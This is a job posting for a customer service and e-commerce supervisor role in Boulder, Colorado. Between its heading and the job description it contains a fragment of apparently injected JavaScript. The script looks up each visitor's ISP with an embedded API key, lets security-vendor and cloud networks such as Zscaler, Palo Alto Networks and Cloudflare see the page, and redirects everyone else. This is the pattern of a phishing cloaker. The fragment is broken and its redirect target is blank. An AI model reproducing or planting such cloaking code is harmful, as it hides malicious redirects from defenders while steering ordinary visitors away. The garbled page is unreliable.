Customer Service & E-Commerce Supervisor – Full Time
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service & E-Commerce Supervisor to join our team in Boulder, Colorado, on a full-time basis.
Responsibilities include:
- Overseeing daily customer service operations to ensure exceptional support and satisfaction.
- Managing and supervising the e-commerce platform, including order processing, fulfillment, and returns.
- Training and mentoring customer service and e-commerce staff to maintain high performance standards.
- Collaborating with cross-functional teams to optimize online sales strategies.
- Monitoring key metrics to improve service quality and sales performance.
- Resolving escalated customer issues promptly and professionally.
Skills needed:
- Strong leadership and team management abilities.
- Excellent communication and problem-solving skills.
- Proficiency in e-commerce platforms and CRM systems.
- Detail-oriented with organizational skills to manage multiple priorities.
- Ability to adapt in a fast-paced environment.
Benefits include: competitive salary, health insurance, paid time off, employee discounts, and opportunities for professional growth.